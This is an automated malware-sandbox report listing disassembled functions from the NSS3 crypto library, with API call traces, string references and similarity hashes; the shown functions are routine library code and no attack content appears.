Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 81745773098831d0fbdae58cc91d84ea566a28a4c18ba1bfbfccaee140c0a8bd
Instruction ID: d91a139d27be109b9198e9261a944ebfe80f389863e8d7ce75e77657f5b0567a
Opcode Fuzzy Hash: 81745773098831d0fbdae58cc91d84ea566a28a4c18ba1bfbfccaee140c0a8bd
Instruction Fuzzy Hash: EA11E9E5E6213162D74166BA2C00BDB39785B1211DF289A3DF81DD1F81FB23D94A82F6

Function 6CF81C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CF813BC,?,?,?,6CF81193), ref: 6CF81C6B
PR_NewLock.NSS3(?,6CF81193), ref: 6CF81C7E

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PR_NewCondVar.NSS3(00000000,?,6CF81193), ref: 6CF81C91

Part of subcall function 6CE5BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE621BC), ref: 6CE5BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CF81193), ref: 6CF81CA7

Part of subcall function 6CE5BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE5BBEB
Part of subcall function 6CE5BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE5BBFB
Part of subcall function 6CE5BB80: GetLastError.KERNEL32 ref: 6CE5BC03
Part of subcall function 6CE5BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE5BC19
Part of subcall function 6CE5BB80: free.MOZGLUE(00000000), ref: 6CE5BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CF81193), ref: 6CF81CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CF81193), ref: 6CF81CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CF81193), ref: 6CF81CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CF81193), ref: 6CF81D1A

Part of subcall function 6CF39BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE61A48), ref: 6CF39BB3
Part of subcall function 6CF39BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE61A48), ref: 6CF39BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CF81193), ref: 6CF81D3D

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CF81193), ref: 6CF81D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CF81193), ref: 6CF81D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CF81193), ref: 6CF81D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CF81193), ref: 6CF81D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CF81193), ref: 6CF81D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CF81193), ref: 6CF81D93
PR_DestroyLock.NSS3(00000000,?,?,6CF81193), ref: 6CF81D9F
free.MOZGLUE(00000000,?,6CF81193), ref: 6CF81DA8

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: ae1215528637c3021e4e8f0bdec07ad143734246df6533db8acb3379e5766b54
Instruction ID: aa6cc9f8ef5d7a1c355f2d3fd821bd30966a6bda602df6e33b408d813145c0ed
Opcode Fuzzy Hash: ae1215528637c3021e4e8f0bdec07ad143734246df6533db8acb3379e5766b54
Instruction Fuzzy Hash: 1B3193F2E117015BEB209F35AC41BA776F4AF01758B148938E85A87F41FB31E518CBA2

Function 6CE95E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE95ECF
EnterCriticalSection.KERNEL32(?), ref: 6CE95EE3
PR_Unlock.NSS3(?), ref: 6CE95F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CE95FB5

Strings

S&l, xrefs: 6CE95E6C, 6CE9627F, 6CE95F12
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CE961F4
S&l, xrefs: 6CE962E3

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&l$S&l
API String ID: 2280678669-148785157
Opcode ID: 1dfa2cfd82dce8643485d98c252743f2d1f36c8265dae8c65abe48c02eba66e7
Instruction ID: ac24d878b1eea0b57d597772bf969abed83df9e231bf496f8c1c108c25b3d6bb
Opcode Fuzzy Hash: 1dfa2cfd82dce8643485d98c252743f2d1f36c8265dae8c65abe48c02eba66e7
Instruction Fuzzy Hash: 77F105B5A002158FDB44CF19C984B86BBF4FF09318F6582AAD8089F746D774EA85CF91

Function 6CEE0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CEE0C81

Part of subcall function 6CECBE30: SECOID_FindOID_Util.NSS3(6CE8311B,00000000,?,6CE8311B,?), ref: 6CECBE44

Part of subcall function 6CEB8500: SECOID_GetAlgorithmTag_Util.NSS3(6CEB95DC,00000000,00000000,00000000,?,6CEB95DC,00000000,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEB8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE0CC4

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEE0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CEE0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CEE0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CEE0D7D
free.MOZGLUE(00000000), ref: 6CEE0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE0DC1
free.MOZGLUE(00000000), ref: 6CEE0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEE0E0F

Part of subcall function 6CEB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEB95E0
Part of subcall function 6CEB95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEB95F5
Part of subcall function 6CEB95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CEB9609
Part of subcall function 6CEB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEB961D
Part of subcall function 6CEB95C0: PK11_GetInternalSlot.NSS3 ref: 6CEB970B
Part of subcall function 6CEB95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CEB9756
Part of subcall function 6CEB95C0: PK11_GetIVLength.NSS3(?), ref: 6CEB9767
Part of subcall function 6CEB95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CEB977E
Part of subcall function 6CEB95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB978E

Strings

-$l, xrefs: 6CEE0C64
*,l, xrefs: 6CEE0DCC
*,l, xrefs: 6CEE0C69, 6CEE0DE0, 6CEE0C80, 6CEE0C8B, 6CEE0CAF

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: 6bfef69b4d5d732416abc55661ebcb0df570fbd48f1b9219ac8f48af2eb14db8
Instruction ID: 2b76013b10f47f2dda46a688b37010ebc1f003cb5d49bf835b5c699d4fc6020a
Opcode Fuzzy Hash: 6bfef69b4d5d732416abc55661ebcb0df570fbd48f1b9219ac8f48af2eb14db8
Instruction Fuzzy Hash: EC41D2B5E00246AFEB009F65DC85BAF7678EF0534CF240028E9156B741EB35EA15CBE2

Function 6CED5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CED5EC0,00000000,?,?), ref: 6CED5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CED5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CED5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CED5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CED5EC0,00000000,?,?), ref: 6CED5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CED5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CED5D80

Strings

multiaccess:, xrefs: 6CED5CB8
sql:, xrefs: 6CED5CD1, 6CED5D36
dbm:, xrefs: 6CED5D03, 6CED5D60
NSS_DEFAULT_DB_TYPE, xrefs: 6CED5D1A
extern:, xrefs: 6CED5CEA, 6CED5D4B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: d719b89f318af36b1fd905a9beccc7fc49041b89ac0c6cc9618480c9ffab66e0
Instruction ID: 3b95b1a9d849a16e86b83ce4618d323baad3770089daaef7ebbcf07ead21e054
Opcode Fuzzy Hash: d719b89f318af36b1fd905a9beccc7fc49041b89ac0c6cc9618480c9ffab66e0
Instruction Fuzzy Hash: FE31E2E0B433026BE7401E25DC58B673778EF0624CF360021ED55A7A81E772E903C6B9

Function 6CED6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CFA1DE0,?), ref: 6CED6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CED6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CED6D82
DER_GetInteger_Util.NSS3(?), ref: 6CED6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CED6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CED6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CED6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CED6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CED6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CED7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CED7033
free.MOZGLUE(?), ref: 6CED703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CED7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CED7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CED70AF

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: ef0d604f4538d56b8b3353165a612668a02d31997e1370e9a14620fefd90cfae
Instruction ID: 7ac9d4870a1a1ae4e58db13247e8171929eda4dd1745470ec9a1d0e3b5e1ed85
Opcode Fuzzy Hash: ef0d604f4538d56b8b3353165a612668a02d31997e1370e9a14620fefd90cfae
Instruction Fuzzy Hash: 16A1D3719142019BEB009F24DC46B6A32B8DB8230CF368D39E959CBB91E775F9478793

Function 6CE9AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF39
PR_Unlock.NSS3(?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF69
TlsGetValue.KERNEL32 ref: 6CE9B06B
EnterCriticalSection.KERNEL32(?), ref: 6CE9B083
PR_Unlock.NSS3(?), ref: 6CE9B0A4
TlsGetValue.KERNEL32 ref: 6CE9B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CE9B0D9
PR_Unlock.NSS3 ref: 6CE9B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9B182

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE9B177

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9B1C2

Part of subcall function 6CEC1560: TlsGetValue.KERNEL32(00000000,?,6CE90844,?), ref: 6CEC157A
Part of subcall function 6CEC1560: EnterCriticalSection.KERNEL32(?,?,?,6CE90844,?), ref: 6CEC158F
Part of subcall function 6CEC1560: PR_Unlock.NSS3(?,?,?,?,6CE90844,?), ref: 6CEC15B2

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 9b3c3775aa79d594f797f52923eeed5b6a201ac0228dc16345c547bba4a9e64c
Instruction ID: 0b3d255dce1b93fc2e9d7fa24be95b796b5ba603e6fe098eb970285f4669c13c
Opcode Fuzzy Hash: 9b3c3775aa79d594f797f52923eeed5b6a201ac0228dc16345c547bba4a9e64c
Instruction Fuzzy Hash: E9A1A0B6E002059BEF009F64DC45BEAB7B4EF0530CF244129E909A7751E731E999CBE1

Function 6CE92C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C93

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23), ref: 6CE92CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?), ref: 6CE92CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?), ref: 6CE92D4D
EnterCriticalSection.KERNEL32(?), ref: 6CE92D61
PL_HashTableLookup.NSS3(?,?), ref: 6CE92D71
PR_Unlock.NSS3(?), ref: 6CE92D7E

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

Strings

#?l, xrefs: 6CE92C43

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: 8ee4cf20fb281e1aa36fe7ee269d2fbfbafb44cd30bb4c765a79674c313cdf11
Instruction ID: a3002c9e565cbb6b96ba129dbd50c13d6aead9141f0ad00d26a9472ed462bf7e
Opcode Fuzzy Hash: 8ee4cf20fb281e1aa36fe7ee269d2fbfbafb44cd30bb4c765a79674c313cdf11
Instruction Fuzzy Hash: AF5116B6E10604ABDF009F24DC859AAB778FF1635CB248524EC1997B11E731ED64C7E1

Function 6CEEAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEADB1

Part of subcall function 6CECBE30: SECOID_FindOID_Util.NSS3(6CE8311B,00000000,?,6CE8311B,?), ref: 6CECBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CEEADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CEEAE08

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEEAE25
PL_FreeArenaPool.NSS3 ref: 6CEEAE63
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEEAE4D

Part of subcall function 6CDF4C70: TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
Part of subcall function 6CDF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
Part of subcall function 6CDF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEAE93
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEEAECC
PL_FreeArenaPool.NSS3 ref: 6CEEAEDE
PL_FinishArenaPool.NSS3 ref: 6CEEAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEAEF5
PL_FinishArenaPool.NSS3 ref: 6CEEAF16

Strings

security, xrefs: 6CEEADEE

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: a58f4fae33b8025d83b45e78ad4439abea6be3b4c29bffe6442c6be7379ed30c
Instruction ID: da084c4bf01b153159ed5e62a09df01acbd034cf0279632f9b3b18398f0d9562
Opcode Fuzzy Hash: a58f4fae33b8025d83b45e78ad4439abea6be3b4c29bffe6442c6be7379ed30c
Instruction Fuzzy Hash: 14412AB198421067E7204B24DC45BAA36B8AF4A35CF31052EE81496F51F735A989C7D3

Function 6CF8AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39890: TlsGetValue.KERNEL32(?,?,?,6CF397EB), ref: 6CF3989E

EnterCriticalSection.KERNEL32(?), ref: 6CF8AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CF8AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CF8AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CF8AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CF8B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF8B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF8B070
PR_JoinThread.NSS3(?), ref: 6CF8B07B
free.MOZGLUE(?), ref: 6CF8B084
EnterCriticalSection.KERNEL32(?), ref: 6CF8B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CF8B0C4
PR_JoinThread.NSS3(?), ref: 6CF8B0F3
free.MOZGLUE(?), ref: 6CF8B0FC
PR_JoinThread.NSS3(?), ref: 6CF8B137
free.MOZGLUE(?), ref: 6CF8B140

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
